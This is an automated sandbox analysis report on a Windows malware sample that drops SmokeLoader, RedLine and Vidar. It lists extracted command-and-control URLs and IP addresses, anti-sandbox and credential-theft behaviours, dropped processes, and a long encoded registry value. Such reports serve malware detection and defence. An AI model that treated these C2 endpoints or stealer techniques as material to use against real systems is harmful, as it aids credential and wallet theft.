Analysis
- max time kernel
151s - max time network
129s - platform
windows10_x64 - resource
win10v20210408 - submitted
14/07/2021, 16:03
Static task
static1
Behavioral task
behavioral1
Sample
1f39167eed0282920d66cf36d31150d2.exe
Resource
win7v20210410
General
- Target 1f39167eed0282920d66cf36d31150d2.exe
- Size 189KB
- Sample210714-cpr49387g6
- SHA256 2b4e74f6d31e2ce71fa3de3caba5fbf6b070885d43c956aa57deced79e79826b
- MD5 1f39167eed0282920d66cf36d31150d2
- SHA1 57c153fed1aaaaa334c7467232721e103bc530d8
- SHA512 db2f1f8085a6f5c95c06730ea0498a80d3ea9e9d35ef89f5493e25d5d6108b30084f6fc5db157feb993b2db8cd713dbf022d53bce1fa6e5c2db6c555f2e142ea
- MD5 SHA1 SHA512
Malware Config
Extracted
-
smokeloader
-
2020
-
http://999080321newfolder1002002131-service1002.space/
-
http://999080321newfolder1002002231-service1002.space/
-
http://999080321newfolder3100231-service1002.space/
-
http://999080321newfolder1002002431-service1002.space/
-
http://999080321newfolder1002002531-service1002.space/
-
http://999080321newfolder33417-012425999080321.space/
-
http://999080321test125831-service10020125999080321.space/
-
http://999080321test136831-service10020125999080321.space/
-
http://999080321test147831-service10020125999080321.space/
-
http://999080321test146831-service10020125999080321.space/
-
http://999080321test134831-service10020125999080321.space/
-
http://999080321est213531-service1002012425999080321.ru/
-
http://999080321yes1t3481-service10020125999080321.ru/
-
http://999080321test13561-service10020125999080321.su/
-
http://999080321test14781-service10020125999080321.info/
-
http://999080321test13461-service10020125999080321.net/
-
http://999080321test15671-service10020125999080321.tech/
-
http://999080321test12671-service10020125999080321.online/
-
http://999080321utest1341-service10020125999080321.ru/
-
http://999080321uest71-service100201dom25999080321.ru/
-
http://999080321test61-service10020125999080321.website/
-
http://999080321test51-service10020125999080321.xyz/
-
http://999080321test41-service100201pro25999080321.ru/
-
http://999080321yest31-service100201rus25999080321.ru/
-
http://999080321rest21-service10020125999080321.eu/
-
http://999080321test11-service10020125999080321.press/
-
http://999080321newfolder4561-service10020125999080321.ru/
-
http://999080321rustest213-service10020125999080321.ru/
-
http://999080321test281-service10020125999080321.ru/
-
http://999080321test261-service10020125999080321.space/
-
http://999080321yomtest251-service10020125999080321.ru/
-
http://999080321yirtest231-service10020125999080321.ru/
-
http://nusurtal4f.net/
-
http://netomishnetojuk.net/
-
http://escalivrouter.net/
-
http://nick22doom4.net/
-
http://wrioshtivsio.su/
-
http://nusotiso4.su/
-
http://rickkhtovkka.biz/
-
http://palisotoliso.net/
Extracted
-
redline
-
q
-
45.32.235.238:45555
Extracted
-
redline
-
pro2
-
151.80.46.103:8374
Extracted
-
redline
-
Btccach
-
185.53.46.82:3214
Extracted
-
vidar
-
39.5
-
824
-
https://olegf9844.tumblr.com/
-
profile_id
824
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 8 IoCs
resource yara_rule behavioral2/files/0x000200000001ab15-146.dat family_redline behavioral2/files/0x000200000001ab15-147.dat family_redline behavioral2/memory/3852-196-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral2/memory/3852-197-0x0000000000417E96-mapping.dmp family_redline behavioral2/memory/3852-206-0x00000000054E0000-0x0000000005AE6000-memory.dmp family_redline behavioral2/memory/1904-231-0x0000000000A90000-0x0000000000BDA000-memory.dmp family_redline behavioral2/memory/2676-238-0x0000000002710000-0x000000000272B000-memory.dmp family_redline behavioral2/memory/2676-243-0x0000000002990000-0x00000000029A9000-memory.dmp family_redline - SmokeLoader
Modular backdoor trojan in use since 2014.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
- Vidar Stealer 2 IoCs
resource yara_rule behavioral2/memory/188-259-0x0000000000400000-0x00000000009F8000-memory.dmp family_vidar behavioral2/memory/188-258-0x0000000000AA0000-0x0000000000B4E000-memory.dmp family_vidar - Creates new service(s) 1 TTPs
- Downloads MZ/PE file
- Executes dropped EXE 16 IoCs
pid Process 3760 8727.exe 3348 8B9D.exe 1916 92F1.exe 2740 9738.exe 1216 9A36.exe 3680 9E10.exe 580 A1F9.exe 3852 A1F9.exe 1904 F114.exe 3860 F26C.exe 2164 MicrosoftApi.exe 2676 FA8B.exe 188 FCBF.exe 3944 TZQgmlI.eXe 4348 rgcpdwyh.exe 4576 MicrosoftApi.exe - Modifies Windows Firewall 1 TTPs
- Sets service image path in registry 2 TTPs
- Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 92F1.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MicrosoftApi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MicrosoftApi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MicrosoftApi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MicrosoftApi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 92F1.exe - Deletes itself 1 IoCs
pid Process 3024 Process not Found - Loads dropped DLL 10 IoCs
pid Process 184 1f39167eed0282920d66cf36d31150d2.exe 3348 8B9D.exe 3760 8727.exe 3760 8727.exe 3760 8727.exe 3760 8727.exe 3760 8727.exe 4620 regsvr32.exe 188 FCBF.exe 188 FCBF.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral2/files/0x000200000001ab10-128.dat themida behavioral2/files/0x000200000001ab10-129.dat themida behavioral2/memory/1916-132-0x00007FF65C910000-0x00007FF65C911000-memory.dmp themida behavioral2/files/0x00050000000155fd-218.dat themida behavioral2/files/0x00050000000155fd-217.dat themida behavioral2/memory/2164-220-0x00007FF7E88D0000-0x00007FF7E88D1000-memory.dmp themida behavioral2/files/0x00050000000155fd-349.dat themida - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 92F1.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MicrosoftApi.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA MicrosoftApi.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile:.repos svchost.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile:.repos svchost.exe - Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4620 regsvr32.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
pid Process 1916 92F1.exe 2164 MicrosoftApi.exe 4576 MicrosoftApi.exe - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4000 set thread context of 184 4000 1f39167eed0282920d66cf36d31150d2.exe 75 PID 580 set thread context of 3852 580 A1F9.exe 93 PID 4348 set thread context of 4988 4348 rgcpdwyh.exe 135 - Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1f39167eed0282920d66cf36d31150d2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1f39167eed0282920d66cf36d31150d2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 1f39167eed0282920d66cf36d31150d2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8B9D.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8B9D.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 8B9D.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 FCBF.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FCBF.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2492 schtasks.exe - Delays execution with timeout.exe 3 IoCs
pid Process 4944 timeout.exe 2196 timeout.exe 4104 timeout.exe - Kills process with taskkill 2 IoCs
pid Process 4860 taskkill.exe 4108 taskkill.exe - Modifies data under HKEY_USERS 3 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\Control Panel\Buses\Config0 = bce8973fe9c4fd0424edb47d450dd49d084297dce82e72baa46d34fdc48d541d28e91bd985cd945d24edb47d470dd49d024195daf71261adc06d04fda6e22673bbc9154961cda56814dd8448723de0af644490bdb77f23ea965b06cbc4e53d428dc9741035ffac6915d88d45773dd4f10b4c90d8f6127db9a4583494b48d662fd69a430f32fea05d579fc2223064b9f8641ec788b77d27ef93553491abee3571bbd91d5061cda56814dd8448723de0a864c9d4c286a01db4fd6d34fdc48c541de4da1b4f6f92e72f52edb47d440dd49d640bff99370814dda46d3731d68e541de4ac4d082affa56b0adf844b6a3fe1ad642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad963c04cd svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Control Panel\Buses\Config0 = bce8973fe9c4fd0424edb47d450dd49d084297dce82e72baa46d34fdc48d541df7024fc585cd945d24edb47d470dd49d024195daf71261adc06d04fda6e22673bbc9154961cda56814dd8448723de0af644490bdb77f23ea965b06cbc4e53d428dc9741035ffac6915d88d45773dd4f10b4c90d8f6127db9a4583494b48d662fd69a430f32fea05d579fc2223064b9f8641ccd85b37b24ef915d3491abee3571bbd91d5061cda56814dd8448723de1a9645d535c86a01db4fd6d34fdc48c541de4da1b4f6f92e72f52edb47d440dd49d640bff99370814dda46d3731d68e541de4ac4d082affa56b0adf844b6a3fe1ad642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad963c04cddcf7c5ef43742d54d49d642df6bd844d5d99975d05cdfcbd6329d29b743d04cd1ee5819ab07d440dd49d642df7bd844dbe9bd1de24bf278fa3148df4743d04cd955d24edc41236798bfe024af4bd844d14dda46de355692a501de4ad743d04cd975d24ed3d63440df4c9872f03b4ed1414dda46d35fdc48d276985df006277bfe25d24edb47d440d813106c0b1bd844d14de687f37fdc48d552cd39b5a0c35fcba6c13d99a4c7d0dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d54a6e5ad74f5562f96aa2d84ed7d440dd4bc642df4dfe82467a9fb0e529ac48d541de4ad74bbf08bf72924edb47de37bd49e642df4cee13f62b4c70847fdf5b7307397cf181377a2e63f57c3da183036e6a70641dacef42c79becb1d1a93a1f96f29ded711532abee43c4985d5083723bbef0316cc87f72f78f0dc0f58d3b7fd35708ccc014e2aa2e63a1fdc8247276fb8b3054f81cee12c60f3cb1f53fdb4e826748bc9740434fd94d5750fb68a4d648d9d642df49d844d14add700408d9bee327ae4ad743d04cd944ced2edb17460dd49dc35bf4be844d14b3d0054698a5e9271dd59a744e69b9e4025788c60b217f8bf50b5999dced2114aec91944d3a8e42278cace1b503ef8ac6a2499dd102162a1e93b4e9bd3ea2877a9a45e04fdb0e439788bd8006276a8f53924de847d3064b9f80b5880e2f33f7da9c16d07cdc4fe317380f2005469a8fb28509eb44b740db0f3177298d4f73914ef94541acff0b97a2dca9e4f0f34f4ba6f10d99a4d6a39efa54a15da85aa752fe58a551ac9eab96f25ca9f421331fbba6f12d68c53763dfaaf501ada8fb47626ed9c4302caeabf662fca9f460f3fffa4650adb8353763fe4b3561fc486b57822f3955800d3f3bd7a2cdf9c410b2afca1690ada85537536e5a45d03cc88aa7c26eb8a5c04c6f5b46d33dc985a0c36faba6c14d68c4c6a3fe5a54a1cc584aa7c25e6965d0dd3fcb57a2cdd955a0c37feaf6c1dd89a497223e7a44a1ecd86b57421f3905b1acefda3602ddf9f450b2af5a3731cd99a4f753cefaf5703cd8daa793aeb9f5c0dc4eab87a2cd19a5a0c37fcaf6f14d59a4a7523e7a84a1cc78abf7f24e58a5a02d3f1bd7a28d496460d3ce3a36b0ad88553713cefaf551bda8cb07b3aee914307c8ffbf652bca9c400b2afea27317db8f4e7323e6ae5103c593b57a20e6975a1acff7b87a2cca9c430a3ff5ad7316de8753703efaaa5516cc84aa7c24e98a5c0dc9eabc602fdf95401336fda47312d49a457436eca94a1fc48daa7a24f3905d0fcaf0a36c2fca99461330ffaf6c14d49a4b7d23ecb3511cf4d9ea3e4ba9cd005192b1f9542cd4ad10537792f5295088d90d307ed4a8645a9cd2ed3e4bb1cd1e40fdf5b46733d483421335fea16615d48253763ce2b35603c68dbf7c2ce88a5e1ac4f7a36c2de4358bdc063a9d347dedb47d440cd49d645e99c9f41266b8d01f34fdc48d541de4ddba52d741945d24ed130b440ed49d646091cef72c73b884195190b4e2267c96c4184424a9f13b419fc6182007a0f8095d9bcfe53f7db1dd4d5098a2e8266f81c9541024f9ba6c12c3814d4e63bbe9444c98d1eb3a71b9844014ab97b46d30adfd451d60a8f238569fd1194e65b1f114038ddcec227bf3c70259d2ace8386dcbd8071269acfd310b89d11b217ffbf9014b91cfa97d26f3cc195991cefd01ffe65a7d545dcd945d24ecb47d447eb9e914729cd8f63f14dda46d34fdc4ed7a2c7669743d04cd332b24eeb47d4478baf60a4283d38e187ab6ca024393cee33b69c4c61a5273a39e144a9bd5112d69f4dc004986d8f73e1eb0c504589fabf574688acc025c6da1f53f4888be132b79f4fc445b95d1ed2934b0c504589fabf55e5c87ce1b486ab9b4144a8cd7092d7bb1970a42d4d0e52478bfcb151495a1ff31178ac2001d65bbf534488cd6112107a7e8175d91d3e02870d7ea02149ca7ee3b688ad97e736bede728478594083768a697064c909de52970afc11e47f7a0e2316e8a8a001d6cace238048c94042565bbf26e85215f86ba1db4fd6d34fdc488541de499743d04cd945d24edb47d440dd49d6401ff4ae94d94dda46d938bc48e541de4e02ead04ce945d24e9b47d44f22b9d6495f4bd844d14dda42d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc465541de4a36b870acd2054e9cc0c7c08c0f5c90c44879df43f7bbad60c59dda7ec3a738bd9545f61ede6284acddd1364499bce44409bd9e16319d0ae4934fdc48d541de40a8411022e051f710e253f11ee45df31c71d7cd1ac859ff187dd2c9165c55fb14ee57e5101051f716153a111ef45df31a11354d1a6859ff1e1d324916fc55fb12193e2512f051f71bfdd1e2cee45df312df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24bdf17d4441d5996405c283de4d14dda46d34fdc46d541fc5a6753704cdc65d24edc65d440dd49d647be0bd844d04dda46d44fdc48d541df0ad643d04cd965d24e8b47c440dd49d6428f4bc844d14dda46dc4ddc48d501de4ad743d04cf941d21edb46d440dc49d642df4ad844d04dda46d34fdc49d541de4fd083d048b945d2411cc7d4475d49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24ed645d440dd19d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad043d0471945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de48300587cb9945d24d1e47d440dc49d642da6bd844d10dda46d34fdc48d541de4ad743d04ed945d44c3c6192579b59d64bbf8bd844d64dda46d3afdc48d021de4ad743d04cd945d24edb47d444dd49d240390dcf02c14dda4fd7dddc48dd41de4ad763d04cdf05d24edb47d440dd49d642df4bd840d14dd64434698a8e2371de45b6d3d04cd447d24edae7d440db29d642df4bd844d14dda46d34fdc4cd541da6ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4fcf97120c9bf953f2d43ad67c55f59412d04427b76dcafaee6f5a450065494e089b71004dd945da1ed5f94ad3c989d64d2809980a59e91a46d6d3e4f4c931d24dd7429c70a959d54eda0beb249f099657b7f4c434bd4ada47940fa92653651e4ad2db6c293565924b83f91155e82ca9b58e436b96d64ddb092e376b185dd5818263131070b1d1828d6440e735b2b4aeff579f9b74c9d98ac546901b19bab68f4fb8b2818bd9449a12dc175cf48d8a4212586aa7b381c22736ef770b08b562691a106f4370dcb037f2477f601053f6b9b59d0b17b3930d15b1910f12c05abe21b2eb031810de05574058c30440d8d5eef69d0ad47b260f9a89240d9c8722039e84517c2fb32179928687408408690b974eea13668ccf8d5a66d34aa4ff05c981ba2f02805cd94dd1bedbbf9480cd49d3247a8ea6c7958dda4346d7804f909961486836b894868a3db12e32dac88999d64a071417ab2ebb7f83df279f171aae21bad9c3b48cd94dee0f931bd303059d565a63530f44c9ecde4e9e6883da6929614fb25b081316aa2dbbd5c3a090dd41ea0213239b1b1ea225b6ddff24908a8e31b52236dec6fd95d24b4edf6798da49d707e793878b3eb22f4e0b1053972ab7530dd7429543243d639c5c47d508e1091e9a80c407bb2442277e8f4889933501ce4ad226d89486ca0db12e495f041d49de7e9f8eb09c8ec205b92649514fd54091bb8504d04d919d8dc104b82c97dd5176c6d7074f1b499505893cb0295a6929060a88cc0fb32fc9954eda02dbbda575968a0714579b2eb8d5bbe6fa39b449796a08970b444c91d5de766f05940868499ef61d0b50d479ddc2f3d30749589dd55e06eff7120c91f1c20d67508473e145eef7df0348ec644d92d3c30748489dd1d27263019004684d668c9bcf40e095ddc60a6e43495c41c1e2f2110f94f8c6fdc91ae47fdc74684d46ee93f6dcd1c5ddd60a4f47e0f1930d92f67bf3cef4fa3c5ff6d57fcc746c0792066fe79cfccff5f93f5ef7da78cd756e0493c7804f85096a08970b60c46557660c9b08a9c1614bea5ee7ff1a0499f9ca056f588c7be94de6fbcfd7f0046c559726685f476849d99ed24aa7ed1c6f88e2f3024ab930629156fa247fdf20c9529416e5583cd02b23c64adf4a9e2c41756e179b73d3addd95ee6fd9c2600cd94d054ef3f38502612cde929eaed6c411cdda46ec47e009dd7e3e6d27e0ec4f491f99acda00965869191a32df1bd844dfc0db76d34150f9e541d0c6b673d0425554e24ed3fbbaf205f9292ecf6c9a2cef5202d62dcfcdf8d54e291b9ff309873b4497705b26c440d515d10247ff0888a15dba46d34a29ad609deb29e82043175145d3099b04e845317a41009fcc983a57fe8a46ddfc53bb8549de4b99c6845cd94041dd82cc36419a08e9b38d8cd84593fd83cd314e9f92def10e4df72b431592a7d30d481e9fa2dc0e9671e02fb0f8b4a1e97adf75c700d5409b2c774571c732f4224f9e2ba41b5549d702cf4bd84b28469a46d345c700d54098c49043d10a7950bdb7d007d440d57597c731dd0b14d14ee642df6f1c4db3ced94ad60d5ae316ba27d05cc35440d5fd94025c74b27f994ddb054843dc48d5412602a753d04f4249924edb472c076d59d64144475844d14d2200235fdc4b4e4d1e4ad743280ae955d24d404ad440dd492e07af5bd8474a409a46d34f240c6551de494c4e504cd9452a0d2b57d44346441642df4b2007e15dda454841dc48d5412608a753d04f424b924edb472c016d59d64144455844d14d2206235fdc4b4e4f1e4ad743280ce955d24d4c4154b892e9d642dcdcdfc42902ca46d34c47435541de4a2f0d804cd9464549dbbf9980dd49d5d5dc4b2009e14dda4548465c48d5412606a743d04f424ed24edb472c0b6d49d64144409844d14d220c234fdc4de037790fbcf7d84cd800eccdafd7d443e2bdaed10bc3d8459d3d8d0ed34e9c08d541d23a808bd04d9834924f97378c48dd4897339f4a94348905da4792ee9c499dd286c2d7429c3c818dd24f9a76e44191398f4adf4a93b5e14c94ce323fdc465215ae4ad47efbde5b75d241a45fc86e5d79d647f7da884cd14c94c320bfdc42ce09de4b91cd974cd800a9b56ab7d505a2b0dd42df4bd25f994ddb03b5ee59372c4ade4ad74bec0e5cbd6e7b6eabe77cd8a5e37a6e991f44d0088f23acb2e4fb8606de4b9ffd5bb71527d3006a782972611a0ec3ef4bdf75c7ed75b78048dc4993e1cb352a2b8c4b870027ab0efbe1786c9b1142de0e8d21aeb0e2f58008dc499dff55b6db21d102687a2f7c67140cc1ed49d173c9eb77b5824ada4795efc9372829824d890625a90cf9e8559347d508eac996459fc36cc4997e4a4182597c6722039ec5261a574cd80fc906db469bb79f0999bbd24bd844dd7882f81073dfdc85863f72639358fdcaf083499b93dc7ccfca62121884db78d491ecfad1cfe818509deb126986c559b6b283466c17512e5c9d5642dade40d08e858641955ae4f90746de4b923c271dd6b8e27a84815347cd48934c50dfa844d9f25fd34b102b0b1ab68f052a7b6dc4e535faf2a9f38b88489654ff57ff88866e350e06b35ad49896f4ab445487a04cd6b28dc12c169bb7828754a6af4bd07890cdcf9616ba64fc858432d6e276b53fe4f6edb051683bbf26a7de40de084daa560982f6b3fbbc0f85e24ba5501383d9360291012c289bb7b2c6252d282557b5884ada479647680a9741e23c5004c04d9c4a2316dc47d508e108567d57da30d131054fa95bda3300e92356553949524d9e8f6af2aeb23cd10685b4439af7eb78dad0d244d207ebd755469e6ae75bec5e515a4f445946938e017aea4943c3da45997e4a41935bd474c7c9c1d65dc1d10b17b9e7766e859485b5fae33d2e191f44d00ee76d4dcfec48da3ec8e9147ef5d3a65d668c9a4f6be362ae977a0b2bcee718d835393bf0f47a9e51ddf5a01d089c925a224b23d4e1a5617aea41e3d36d06910dea0e7757e3db128ee27fe226aec6a69a2db12c05954b2d49c642da3034ccd34c9f2850d033b7267c667697806c7b8a40e73bb5c55baf22b1ea021cf7ef141271dfb33bde0784b7409bf6eff7120dd1d55adb5bcf41c1d5dc568a4aca50d150856e84920749caddd55e09eb47def1fa79d9d05345d504d5d9ce7ecdc3c7da5bcfdb011c73e2ca2a9e21b15bcbd24d9a7941da594094684dc1ea405c9752c6d00a14b5ef474c931923df0edb76b8fb9b055a78bb87d2e0a59db604578cc84594435c22834fd4fc97005676978b40293570a17128d01601daad0ef61d0b5d71b9faca807337602be8646135ef5db7bcd94dda9a9be793d089a1eaaadb23695c700cba47dbfb9e099d929e3263531371ffe5a7f1a47f70007d0ad62d2b5b1c37668f9bc118fa39fd297486f41ff7814fe5daaf4d4f9713109e75d39ee82900f181cd2127925ce0606849e06a2b5d500fe90c8149cb469cfdd577f6bec1cb9b74981edd56d20bcffc0586f375aa460c7981fb175bee22acf70dcca57f60ba8a43d14c99fae3b73fb8c541d64d14cc23fb9923be3e98c46443489856ba3ddbc844d7ee6f3857bbec48ddfedbdf4f1cb0b49815c24edde7e820bd4f5f05cf4a9c21a9da8588597bec48dd7d9e828b448374e535e73050c38440d8da0642cf4bd8bc0f8dda46dbfb0c80e7084e426392df3151d59bd66f16983094c9c642df4543f4d14ddce57631529cf541d6f5d2d64813be059e2ebb43bc432d4e872a6b1b101966bdb2749acfd2f9bdf517c51fd319c26990adbf8200d44195fd068a4f02401bb61d00555b4fdd006190d6da9edd6664daa7651fdf22bac78979d642ef185044d00844f8ebfb8d4dbd9217c45147e04cdfe727264b395394fd49de7e9f83844381ab7893bdc93868d5444bd28b449264dac7251e7f42dac38979d64741fb2c41dfcf6e76d34a4f7441536ebaeb5b8c4b2976ee4ad3f305086a161ed296dfe0fb32f80bc62b82a3a72ab9627f22a66cd0ea79dcf1ae2f671451dbd7047e442f06918501275fdddd072418d94ad606d5225181e24ed15358d2dc01ea021777d94272444fd9acd7602d3dd08ac645429c79ec10b73de4b9598f72b62ef71d0a90f6094ada4798af56dad4096a27df1fd709f1f53a124c1707d43d0e86ca6a2b58f1b18a99b9242f13bfb5ce292a925b8c4b49eaafcbddccd350dc0766bd282716c3ceb225b3464955cfc540969a96b6dfb18179938ee4c4e8484d21422297dfb8cc452d127ab647c3a85e93df0d1e8be210d527d30ed3fba1b5389c6a77bc77db7bbad090c4d2076d5088668ea94253971c4119d51f9393cb8e6dba63009fcc88dc645d99f3910f1b083d7dcb4ebf5c4d071b449583ceabecfcbbf5d34282415a4594a1e1ebd9cddd0be94962efbf7440ccde055afdc8f096005a08de7eca4fd05b4c4618479481bf74d0ade8f6d243ec6935708af010c19600dd475e9de0b420728e0ddf73bbf88c8da02e2f18d043d10485452aaa4b67d448da8ad9b1680bbe28a10ed9f6dbfa0cc06699d94ad60b47135fe66db984c95d94dd49d3d74717d8bc908dfa46dcb883c4b541da42431dd89880835149fb46914f203f765a0b121d4b267c5291e10ab2c62a7e21b5201c58d8864d06171dc5d360dc0cd9bfa9ebc0908888d5b1e2cab2c42a7e21b9ebd7c8709acd461318d30b470d71429ddcdf874331754e19dcb883c0011818ca9063d109d6b8a4eec3938d85d2bee7c7b1c2477b2eb22d195bdb8200011818c41053d109d6b8a4e893938d85d2bee7c7b1cc477b2eb5e6055bdb838658122e4ad1e5921326ba25bde6624b3fcefc8982279f2854d1422d195b9b858e5886ce4b924c2d3a795d06171e4823715827558de0b420728e8dd27a928748165d1ddeb23543c04cd1f28d086422dc9b9e139bfd20b42f1b1999838924105ac41251df0fd8bea87098435daeeb47d2cc7a59d70a0b121d4b267c5292e10ad2c99a7e21b2eb02d544011c1df124b2dace8949d6445f4bc844d9958389acb029400d1810b528b6d894808aedb12e4f0c1912f629b7d32f81e4dfc775f92cb7e00addd580828b4328043945d2405bd42440df1629bd28b8e56ba61312fafbf694111bbe21b2421d1811fe032af6131e1b3f22b18ad59903600c8882e5b92b13db189d1cf9df8fd7bf86c38e304f987afb3fc5fd880a6b94d0d0b1cee64e47aed4fc0884d6deb78b44ad91d1b3864f25d4758381472c527fd844d9d9b8c5ef4028179dd4bc824320d8d8ba0d462d53d3b78849285ed6bf0e4078b4422e191bfb838b611f5eb2199c3fb321720d0ad3f38a48491656ba124407bb2fcac5392cb453025740923ad753d04cd179d74d040c16419a86de75000bd8bc38cdda46dbfb83000e1b93f528bb441311f63afb3482a17e50b619bd2ade4018d60b327153cfdb1ddab18a86454298fc0d89404f93d75cf43d8142c397ff3a4c45cf52f231c748cbddf53c8243c098f83a4d46cd53f3370849ca1ef63cc34cc0d9f9398e47cb94fc34c94ac8dff730044cc59ad95bcf40c015fd36ca4bcad0f030454ec75bfb3d0041c016fe368b44ce9179b7412f9814b88a0629bd2abe33c99bcfdb05efda647f5741c91a8fd358d8590dee4bd89a9f82dc0e18fa4f97d426d0056e199fd3e9106b89c08ad703d049ec2d651e5e3f67911a49d704598ce84599983a03ecb2a414d212367d0783e70f51f1b3c87b14e9654236ceffd1c727cb2eb5876132d7e02a9dfe7eb1332395432a2b571154b821d8e12982b7481516c8eec225b8430fec48dd723fca2f18805cd9435449eb46917f20318a4227118854d145ed96137f24016551de49eaf6e6c95e75d3012c265c973f0ca8c5604427bced0cd27953cf2414c561de452411984cd8035649eb469bb7bccca8c7604427bb221f5246d205ee00d54098c81073d1032e2457305f68dbbf22ba848adf4a9276594ddb005208ec499ab6bfcfa9c14f4326ba211d9347d50aef81d64399c49f64d0022d2756315d47dabe2676934c231c1145d304e80fd4419bc41162de042f25543355082cb023bb8449de4b9d73184cd8035ec9fb469bb7bccca8cf61b427bb221c9246d205ed40d54098c1d063d1032e24573057692bbf22ba87cadf4a9275994ddb005ac8fc499ab6bfcfa9c94eb326bdee0ad4b48588dd489c73574bd902590afa479cb8bdcdabc900b528bc231ed145d304ea8fd4419bcf1162de042f2554335d082cb023bb8649de4b9d71d84cd8035709fb469bb7bccca8c761b427bee245da479bfbbdc0e9439b4524185c2ed80b5d3d7b47dc7c9eca6a759de1e3c8b34c92f232c7e05a9054bb445a80104cd1799286e8945c40dc0626ba998bc844db565624d2016b82cecdbc4b94ffe0b49cc5c24ede495b037d49d3da4e905426d0034e26c34fd47b35512610c743d04a5702d24f9e78293881492e1bcf4bd84ce69d1a762b07ac48d549e9ab5703288d4955d2466c259c5f3d49d652dfb3e8e4c14dd9d580c7dc4995b991aad743da575527d30de6ff47135549d701637b200a414dda405cafec48d3cd795ad605548bf9449db9dacfe84298475c5c30b420789048d29e834013b7204f59691743d894894a1db12e48271b512bd70a5a9436ca3ed225beef0e9672dea3df044e83d04cdfe554cadc67d505e3cb35f2df43e4041911dabe8b0fdc48dbcb417528bb042c1c4b51ed0b47d1d30d49c642d88b40768d41b84793416a106ac96e050c08324d9a7861f2ec06814e526a4642dad3498b0a0638479bde1393dea3df02e093107b9a1a252f55c0e7d0dd4c4ed2909093a6d00e667191502b295d953c0fc24d57ef6945dafabacfe8001bed857ffad4a75c4102014d314e94d9094dbc4b